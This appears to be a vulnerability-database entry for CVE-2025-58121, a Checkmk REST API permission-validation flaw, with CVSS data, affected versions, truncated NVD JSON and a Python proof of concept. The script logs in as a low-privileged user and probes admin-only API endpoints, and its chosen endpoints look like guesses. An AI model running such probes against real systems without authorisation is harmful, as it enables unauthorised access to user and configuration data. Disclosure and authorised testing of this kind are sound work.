Security Vulnerability Report
中文
CVE-2025-58121 CVSS 5.4 MEDIUM

CVE-2025-58121

Published: 2025-11-18 16:15:45
Last Modified: 2025-11-24 14:27:30

Description

Insufficient permission validation on multiple REST API endpoints in Checkmk 2.2.0, 2.3.0, and 2.4.0 before version 2.4.0p16 allows low-privileged users to perform unauthorized actions or obtain sensitive information

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:checkmk:checkmk:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:checkmk:checkmk:2.4.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:checkmk:checkmk:2.4.0:b1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:checkmk:checkmk:2.4.0:b2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:checkmk:checkmk:2.4.0:b3:*:*:*:*:*:* - VULNERABLE
Checkmk 2.2.0 < 2.4.0p16
Checkmk 2.3.0 < 2.4.0p16
Checkmk 2.4.0 < 2.4.0p16

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58121 PoC - Checkmk REST API权限绕过 # Requirements: requests library, valid low-privileged user credentials import requests import json TARGET_URL = "https://checkmk-server.local" USERNAME = "low_priv_user" PASSWORD = "password123" SITE_NAME = "check_mk" def get_auth_cookie(): """Authenticate and get session cookie""" login_url = f"{TARGET_URL}/{SITE_NAME}/check_mk/login.py" data = { "username": USERNAME, "password": PASSWORD, "_login": 1 } response = requests.post(login_url, data=data, verify=False) return response.cookies def exploit_unauthorized_access(cookies): """Attempt to access admin-only API endpoints""" # Example: Try to access user management API (should require admin privileges) api_endpoints = [ f"/{SITE_NAME}/api/1.0/domain-types/user_config/collections/all", f"/{SITE_NAME}/api/1.0/domain-types/service_config/collections/all", f"/{SITE_NAME}/api/1.0/objects/folder_config/" ] results = [] for endpoint in api_endpoints: url = f"{TARGET_URL}{endpoint}" try: response = requests.get(url, cookies=cookies, verify=False) if response.status_code == 200: results.append({ "endpoint": endpoint, "status": "VULNERABLE - Unauthorized access possible", "data_length": len(response.text) }) else: results.append({ "endpoint": endpoint, "status": f"Protected (HTTP {response.status_code})" }) except Exception as e: results.append({"endpoint": endpoint, "status": f"Error: {str(e)}"}) return results if __name__ == "__main__": print("[*] CVE-2025-58121 PoC - Checkmk Permission Bypass") print(f"[*] Target: {TARGET_URL}") print(f"[*] Authenticating as: {USERNAME}") cookies = get_auth_cookie() print("[+] Authentication successful") print("[*] Testing unauthorized API access...") results = exploit_unauthorized_access(cookies) for result in results: print(f"\n[+] Endpoint: {result['endpoint']}") print(f" Status: {result['status']}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58121", "sourceIdentifier": "[email protected]", "published": "2025-11-18T16:15:44.700", "lastModified": "2025-11-24T14:27:29.577", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient permission validation on multiple REST API endpoints in Checkmk 2.2.0, 2.3.0, and 2.4.0 before version 2.4.0p16 allows low-privileged users to perform unauthorized actions or obtain sensitive information"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-280"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.2.0", "versionEndExcluding": "2.4.0", "matchCriteriaId": "F2AD7DF0-B425-4248-84DB-E7BE57629452"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.4.0:-:*:*:*:*:*:*", "matchCriteriaId": "022C075A-4B04-4141-A7D7-F93C9A7CE0FD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.4.0:b1:*:*:*:*:*:*", "matchCriteriaId": "60C00469-0CD1-4E9C-8370-CE113842056C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.4.0:b2:*:*:*:*:*:*", "matchCriteriaId": "179905FC-821F-4214-A872-E4E3702419D1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.4.0:b3:*:*:*:*:*:*", "matchCriteriaId": "04956994-D5A8-45EE-9DC2-8A1D3058CE8E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.4.0:b4:*:*:*:*:*:*", "matchCriteriaId": "8868449B-7259-4C3B-8344-0EFE0BA3A97E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.4.0:b5:*:*:*:*:*:*", "matchCriteriaId": "BBDF3A13-582F-43D2-B42F-0DC42D4FBFBA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.4.0:b6:*:*:*:*:*:*", "matchCriteriaId": "DAF500B3-AA6A-4618-BC7E-0F214B795E0F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.4.0:p1:*:*:*:*:*:*", "matchCriteriaId": "1CFE68AB-1F57-497C-9229-29ED3A73D87F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.4.0:p10:*:*:*:*:*:*", "matchCriteriaId": "577F9F72-2FDA-4F87-A840-05158F2368B8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.4.0:p11:*:*:*:*:*:*", "matchCriteriaId": "6F3AD894-660B-41FC-B910-899A764A00B6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.4.0:p12:*:*:*:*:*:*", "matchCriteriaId": "21853BB4-1BB5-40E3-82E2-253899D898ED"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.4.0:p13:*:*:*:*:*:*", "matchCriteriaId": "E7963D66-A89A-4167-A2BA-DFF89B439EAE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.4.0:p14:*:*:*:*:*:*", "matchCriteriaId": "42099281-2026-4507-A20B-C669C206ADB6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.4.0:p15:*:*:*:*:*:*", "matchCriteriaId": "29A44B1E-83CD-4A3D-AFFD-82AAC7760293"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.4.0:p2:*:*:*:*:*:*", "matchCr ... (truncated)